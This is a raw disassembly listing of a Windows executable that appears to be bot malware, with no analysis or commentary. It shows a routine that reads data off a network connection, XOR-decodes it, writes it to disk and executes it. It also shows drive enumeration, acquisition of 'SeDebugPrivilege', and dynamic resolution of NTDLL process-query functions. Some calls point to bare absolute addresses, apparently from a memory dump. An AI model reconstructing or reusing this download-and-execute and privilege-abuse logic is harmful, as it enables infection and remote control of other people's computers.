lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_437BA8
push eax
call sub_41B886
loc_416120: ; CODE XREF: ___:00415FF7j
add esp, 14h
loc_416123: ; CODE XREF: ___:00416030j
cmp [ebp-50h], esi
jnz short loc_416148
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
add esp, 14h
loc_416148: ; CODE XREF: ___:00416126j
lea eax, [ebp-3FCh]
push eax
call sub_4151AD
cmp edi, esi
pop ecx
jbe short loc_416160
push edi
call dword_4CB6EC
loc_416160: ; CODE XREF: ___:00416157j
push dword ptr [ebp-1F8h]
call dword_4CB6EC
push dword ptr [ebp-58h]
call sub_40B413
pop ecx
push esi
nop
call near ptr 26E0000h
loc_41617C: ; CODE XREF: ___:004160CAj
; ___:004160D5j
push esi
mov esi, offset dword_437B90
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
push esi
call sub_4151AD
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CB6EC
push dword ptr [ebp-58h]
call sub_40B413
pop ecx
push ebx
call near ptr 26E0000h
nop
loc_4161BD: ; DATA XREF: sub_401ACD+7B4o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
nop
call near ptr 2670A78h
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429ACC
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 27009D7h
cmp eax, 0FFFFFFFFh
jnz short loc_416247
push offset unk_437D0C
jmp short loc_41628D
; ---------------------------------------------------------------------------
loc_416247: ; CODE XREF: ___:0041623Ej
push eax
nop
call near ptr 2660919h
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B4C2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_41626F
push offset unk_437CDC
jmp short loc_41628D
; ---------------------------------------------------------------------------
loc_41626F: ; CODE XREF: ___:00416266j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415BD4
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_4162A0
push offset unk_437CBC
loc_41628D: ; CODE XREF: ___:00416245j
; ___:0041626Dj
lea eax, [ebp-4C4h]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_41639C
; ---------------------------------------------------------------------------
loc_4162A0: ; CODE XREF: ___:00416286j
mov esi, 1000h
loc_4162A5: ; CODE XREF: ___:0041630Bj
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB66C
mov edi, eax
cmp edi, ebx
jz loc_41636C
cmp edi, 0FFFFFFFFh
jz short loc_41630D
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D2B4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CB650
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CB6A4
jmp short loc_4162A5
; ---------------------------------------------------------------------------
loc_41630D: ; CODE XREF: ___:004162D5j
lea eax, [ebp-4C4h]
push offset dword_437B90
push eax
call sub_41B886
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A73
lea eax, [ebp-4C4h]
push eax
call sub_4151AD
push dword ptr [ebp-4]
call sub_41B05B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CB6EC
push dword ptr [ebp-1Ch]
call sub_40B413
pop ecx
push 1
nop
call near ptr 26E0000h
loc_41636C: ; CODE XREF: ___:004162CCj
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_437C90
push eax
call sub_41B886
add esp, 14h
loc_41639C: ; CODE XREF: ___:0041629Bj
cmp [ebp-14h], ebx
jnz short loc_4163C1
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A73
add esp, 14h
loc_4163C1: ; CODE XREF: ___:0041639Fj
lea eax, [ebp-4C4h]
push eax
call sub_4151AD
cmp [ebp-4], ebx
pop ecx
jz short loc_4163DC
push dword ptr [ebp-4]
call sub_41B05B
pop ecx
loc_4163DC: ; CODE XREF: ___:004163D1j
cmp [ebp+8], ebx
jbe short loc_4163EA
push dword ptr [ebp+8]
call dword_4CB6EC
loc_4163EA: ; CODE XREF: ___:004163DFj
push dword ptr [ebp-1Ch]
call sub_40B413
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_4163FA: ; DATA XREF: sub_401ACD+627Ao
; sub_401ACD+6ABAo
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CB604
call dword_4CB558
cmp eax, esi
mov [ebp-18h], eax
jz loc_416886
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 27009D7h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_4164C1
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_437ED8
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4164A4
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_4164A4: ; CODE XREF: ___:00416482j
lea eax, [ebp-510h]
push eax
call sub_4151AD
push dword ptr [ebp-48h]
call sub_40B413
pop ecx
pop ecx
push esi
nop
call near ptr 26E0000h
loc_4164C1: ; CODE XREF: ___:00416462j
xor edi, edi
call near ptr 2690AA5h
nop
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41B4D5
pop ecx
mov [ebp-1Ch], eax
loc_4164DB: ; CODE XREF: ___:004165AEj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CB560
cmp [ebp-34h], esi
jz short loc_41651F
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_4168EC
pop ecx
pop ecx
loc_41651F: ; CODE XREF: ___:0041650Cj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 26F0000h
cmp edi, ebx
jnb short loc_41655D
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416547
mov eax, [ebp+8]
loc_416547: ; CODE XREF: ___:00416542j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41C310
add esp, 0Ch
loc_41655D: ; CODE XREF: ___:00416539j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_41656A
cmp edi, [ebp-3Ch]
ja short loc_4165B4
loc_41656A: ; CODE XREF: ___:00416563j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416584
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437EB0
jmp short loc_416594
; ---------------------------------------------------------------------------
loc_416584: ; CODE XREF: ___:00416570j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437E88
loc_416594: ; CODE XREF: ___:00416582j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43E390
push eax
call sub_41B886
add esp, 10h
cmp [ebp+8], esi
ja loc_4164DB
loc_4165B4: ; CODE XREF: ___:00416568j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416609
cmp edi, [ebp-3Ch]
jz short loc_416609
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_437E5C
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
lea eax, [ebp-510h]
push eax
call sub_4151AD
add esp, 28h
loc_416609: ; CODE XREF: ___:004165BEj
; ___:004165C3j
call near ptr 2690AA5h
nop
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 2660919h
push dword ptr [ebp-1Ch]
call sub_41B0B1
cmp [ebp-38h], esi
pop ecx
jz short loc_416693
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416693
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_437E34
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
lea eax, [ebp-510h]
push eax
call sub_4151AD
add esp, 28h
loc_416693: ; CODE XREF: ___:0041663Bj
; ___:0041664Dj
cmp [ebp-14h], esi
jz loc_4168D3
cmp dword ptr [ebp-44h], 1
jz loc_41678E
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276A8
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276A8
fstp qword ptr [esp]
push offset unk_437DFC
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_41670E
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_41670E: ; CODE XREF: ___:004166ECj
lea eax, [ebp-510h]
push eax
call sub_4151AD
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_4168D3
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB5C0
cmp [ebp-30h], esi
jnz loc_4168D3
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_437DE0
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
lea eax, [ebp-510h]
push eax
call sub_4151AD
add esp, 24h
jmp loc_4168D3
; ---------------------------------------------------------------------------
loc_41678E: ; CODE XREF: ___:004166A0j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276A8
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276A8
fstp qword ptr [esp]
push offset unk_437D9C
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_4167F6
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_4167F6: ; CODE XREF: ___:004167D4j
lea eax, [ebp-510h]
push eax
call sub_4151AD
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_43D808
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
call near ptr 2660C3Bh
nop
cmp eax, edi
jnz short loc_416878
call dword_4CB5AC
call sub_41835A
push esi
call near ptr 77E75CB5h
nop
loc_416878: ; CODE XREF: ___:00416864j
lea eax, [ebp-148h]
push eax
push offset unk_437D68
jmp short loc_416892
; ---------------------------------------------------------------------------
loc_416886: ; CODE XREF: ___:0041643Fj
lea eax, [ebp-248h]
push eax
push offset unk_437D3C
loc_416892: ; CODE XREF: ___:00416884j
lea eax, [ebp-510h]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4168C6
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_4168C6: ; CODE XREF: ___:004168A4j
lea eax, [ebp-510h]
push eax
call sub_4151AD
pop ecx
loc_4168D3: ; CODE XREF: ___:00416696j
; ___:0041671Fj ...
push dword ptr [ebp-18h]
call dword_4CB688
push dword ptr [ebp-48h]
call sub_40B413
pop ecx
push esi
call near ptr 26E0000h
nop
; =============== S U B R O U T I N E =======================================
sub_4168EC proc near ; CODE XREF: ___:00416518p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416908
loc_4168F8: ; CODE XREF: sub_4168EC+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F8
locret_416908: ; CODE XREF: sub_4168EC+Aj
retn
sub_4168EC endp
; =============== S U B R O U T I N E =======================================
sub_416909 proc near ; CODE XREF: sub_401ACD+5842p
; sub_401ACD+596Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416923 proc near ; CODE XREF: sub_40F96B+458p
; sub_40F96B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D3288
push 0
push edi
call sub_41B590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416948: ; CODE XREF: sub_416923+5Bj
; sub_416923+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D480
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D410
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416986
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416948
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416948
; ---------------------------------------------------------------------------
loc_416986: ; CODE XREF: sub_416923+4Bj
dec esi
mov eax, edi
loc_416989: ; CODE XREF: sub_416923+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416998
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416989
; ---------------------------------------------------------------------------
loc_416998: ; CODE XREF: sub_416923+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416923 endp
; =============== S U B R O U T I N E =======================================
sub_4169A2 proc near ; CODE XREF: sub_416B57+51p
; sub_416B57+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB6B4
sub eax, 0
jz short loc_4169E5
dec eax
jz short loc_4169DF
dec eax
dec eax
jz short loc_4169D9
dec eax
jz short loc_4169D3
dec eax
jz short loc_4169CD
dec eax
jz short loc_4169C7
mov eax, offset word_437F2C
retn
; ---------------------------------------------------------------------------
loc_4169C7: ; CODE XREF: sub_4169A2+1Dj
mov eax, offset off_437F28
retn
; ---------------------------------------------------------------------------
loc_4169CD: ; CODE XREF: sub_4169A2+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D3: ; CODE XREF: sub_4169A2+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D9: ; CODE XREF: sub_4169A2+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DF: ; CODE XREF: sub_4169A2+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E5: ; CODE XREF: sub_4169A2+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EB proc near ; CODE XREF: sub_416A33+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB544
test eax, eax
jz short loc_416A20
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416A20: ; CODE XREF: sub_4169EB+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A33 proc near ; CODE XREF: sub_416B57+17p
; sub_41AA43+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4169EB
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B11
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B11
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B11
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D500
push edx
push eax
call sub_416923
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D500
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D500
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B980
add esp, 10h
pop ebx
jmp short loc_416B43
; ---------------------------------------------------------------------------
loc_416B11: ; CODE XREF: sub_416A33+2Cj
; sub_416A33+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
pop ecx
loc_416B43: ; CODE XREF: sub_416A33+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B57 proc near ; CODE XREF: sub_416C29+17p
; sub_416C29+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A33
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C070
add esp, 10h
test eax, eax
jnz short loc_416BCA
push ebx
push ebx
call sub_4169A2
pop ecx
push eax
push offset unk_437F7C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_416BFE
; ---------------------------------------------------------------------------
loc_416BCA: ; CODE XREF: sub_416B57+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4169A2
pop ecx
push eax
push offset unk_437F40
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 20h
loc_416BFE: ; CODE XREF: sub_416B57+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_500]
push eax
call sub_4151AD
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C29 proc near ; CODE XREF: sub_401ACD+2554p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C4A
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B57
add esp, 10h
jmp short loc_416CAB
; ---------------------------------------------------------------------------
loc_416C4A: ; CODE XREF: sub_416C29+9j
push esi
push edi
push ebx
push ebx
call dword_4CB5BC
lea esi, [eax+2]
push esi
call sub_41B4D5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB5BC
cmp [edi], bl
mov esi, edi
jz short loc_416CA2
loc_416C6E: ; CODE XREF: sub_416C29+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_416C91
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B57
add esp, 10h
loc_416C91: ; CODE XREF: sub_416C29+54j
push esi
call sub_41AFE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6E
loc_416CA2: ; CODE XREF: sub_416C29+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAB: ; CODE XREF: sub_416C29+1Fj
pop ebx
pop ebp
retn
sub_416C29 endp
; ---------------------------------------------------------------------------
word_416CAE dw 8B55h ; DATA XREF: sub_401ACD+68A0o
dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
dd 20068FFh, 0E8500000h, 4C60h, 3910C483h, 2075F85Dh, 64858D53h
dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
dd 5Dh, 5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh
dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
dd 535959FFh, 923AE890h, 5E5F022Ch, 0EC8B555Bh, 54CEC81h
dd 56530000h, 104BE57h, 75FF0000h, 0B8858D18h, 68FFFFFDh
dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 952BE890h, 0C0850233h
dd 75FF8F75h, 71E890FCh, 0FF023291h, 858D1475h, 0FFFFFDB8h
dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h, 0FFFFFEBCh
dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
dd 2006800h, 0E8500000h, 4AA0h, 858D016Ah, 0FFFFFAB4h
dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh, 858D28C4h
dd 0FFFFFEBCh, 0A6E85650h, 90023394h, 0B175C085h, 0EDE89056h
dd 8B023290h, 5E5F1C45h
; ---------------------------------------------------------------------------
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1B proc near ; DATA XREF: sub_401ACD+1CD0o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F5
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F5A
cmp eax, 2
jz short loc_416F5A
push offset unk_4381F8
jmp loc_417099
; ---------------------------------------------------------------------------
loc_416F5A: ; CODE XREF: sub_416F1B+2Ej
; sub_416F1B+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
test eax, eax
pop ecx
jz loc_417094
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 26A0B0Dh
mov esi, dword_4270BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D44CC, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D44C0, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D46D0, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D44C8, eax
call esi
mov dword_4D44C4, eax
call sub_4170ED
test eax, eax
mov [ebp+arg_0], eax
jz loc_417067
mov esi, dword_42713C
mov edi, 400h
mov ebx, offset dword_4D34C0
push edi
push ebx
push offset off_438134
call esi
push edi
mov edi, offset dword_4D3CC0
push edi
push offset off_43811C
call esi
cmp [ebp+var_4], 1
push offset dword_4D46D8
push [ebp+arg_0]
jnz short loc_417013
call sub_417276
jmp short loc_417018
; ---------------------------------------------------------------------------
loc_417013: ; CODE XREF: sub_416F1B+EFj
